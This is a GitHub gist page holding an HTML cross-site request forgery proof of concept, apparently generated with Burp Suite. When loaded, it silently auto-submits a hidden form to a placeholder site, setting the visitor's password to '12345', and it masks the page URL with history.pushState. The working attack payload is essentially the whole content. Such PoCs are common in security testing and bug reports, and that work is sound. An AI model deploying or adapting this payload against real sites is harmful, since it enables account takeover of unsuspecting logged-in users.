Skip to content

Instantly share code, notes, and snippets.

@p4nk4jv
Last active June 29, 2020 16:12
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save p4nk4jv/60d71a34d2f6264d636ea2836413835f to your computer and use it in GitHub Desktop.
Save p4nk4jv/60d71a34d2f6264d636ea2836413835f to your computer and use it in GitHub Desktop.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://target.com" method="POST">
<input type="hidden" name="password" value="12345" />
<input type="hidden" name="confirm&#95password" value="12345" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment